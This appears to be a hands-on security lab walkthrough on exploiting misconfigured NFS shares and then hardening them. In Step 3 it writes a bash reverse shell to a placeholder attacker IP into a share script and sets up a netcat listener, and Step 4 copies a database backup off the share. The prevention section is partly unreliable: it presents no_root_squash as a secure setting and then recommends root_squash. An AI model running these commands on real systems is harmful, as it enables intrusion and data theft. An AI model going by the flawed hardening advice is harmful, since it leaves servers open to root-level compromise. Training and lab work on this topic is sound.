Objective: Exploit weak or misconfigured Network File System (NFS) shares to access sensitive data, and learn how to secure NFS configurations to prevent such vulnerabilities.
Scenario: NFS is used to share file systems across networks. Misconfigured NFS shares can allow unauthorized access or modification of files. Your task is to identify and exploit such shares, and implement best practices to secure them.
Lab Setup
- Environment:
- A Linux system with NFS shares configured.
- Tools Required:
showmount
ornmap
to discover NFS shares.- Access to the
mount
command.
Lab Steps
Step 1: Identify NFS Shares
- List available NFS shares on the target system using
showmount
:showmount -e <target_ip>
- Example output:
Export list for <target_ip>: /shared *(rw,sync) /backups 192.168.1.0/24(ro,sync)
- Example output:
- Use
nmap
to scan for NFS services:nmap -p 2049 --script=nfs-ls,nfs-showmount <target_ip>
- This identifies exported directories and their permissions.
Step 2: Mount the NFS Share
- Mount a writable NFS share to your local system:
sudo mount -t nfs <target_ip>:/shared /mnt
- Replace
<target_ip>
with the server’s IP address. - Verify the mount:
ls /mnt
- Replace
- If the share is read-only, attempt to access sensitive files:
cat /mnt/config.cfg
Step 3: Exploit Writable NFS Shares
- Create a malicious file on the writable share:
echo 'This is a test file.' > /mnt/malicious.txt
- Verify the file is saved:
ls -l /mnt
- Verify the file is saved:
- If the NFS share is used for script execution, replace an existing script with malicious content:
echo 'bash -i >& /dev/tcp/<your_ip>/4444 0>&1' > /mnt/script.sh chmod +x /mnt/script.sh
- Set up a listener on your machine:
nc -lvnp 4444
- Wait for the target to execute the malicious script and establish a connection.
Step 4: Analyze and Gather Data
- Explore the NFS share for sensitive files, such as backups or configuration files:
find /mnt -type f
- Copy any interesting files for further analysis:
cp /mnt/backups/db_backup.sql .
Solution
Explanation:
- NFS shares allow users to access remote file systems. Misconfigured permissions can enable unauthorized read/write access.
- Writable shares can be exploited to introduce malicious files or scripts.
Prevention:
- Restrict Access:
- Limit access to specific IP addresses or subnets in
/etc/exports
:/shared 192.168.1.0/24(rw,sync,no_root_squash)
- Limit access to specific IP addresses or subnets in
- Use Secure Mount Options:
- Configure shares with the following options:
noexec
: Prevent execution of binaries.nosuid
: Ignore set-user-ID and set-group-ID bits.nodev
: Disallow device files.- Example:
/shared 192.168.1.0/24(rw,sync,no_root_squash,noexec,nosuid,nodev)
- Configure shares with the following options:
- Enable Root Squashing:
- Convert root access to a non-privileged user:
/shared *(rw,sync,root_squash)
- Convert root access to a non-privileged user:
- Monitor and Log Access:
- Use tools like
auditd
to log NFS access:sudo auditctl -w /shared -p rwxa -k nfs_access
- Use tools like
Testing and Verification
- Attempt to mount and access NFS shares from an unauthorized IP to verify restrictions.
- Test that writable shares cannot execute malicious files.
- Ensure sensitive files are inaccessible without proper permissions.
Reflection
This exercise highlights the risks of misconfigured NFS shares and demonstrates how to exploit and secure them. By completing this lab, you’ve gained insights into protecting network file systems from unauthorized access and exploitation.
0 Comments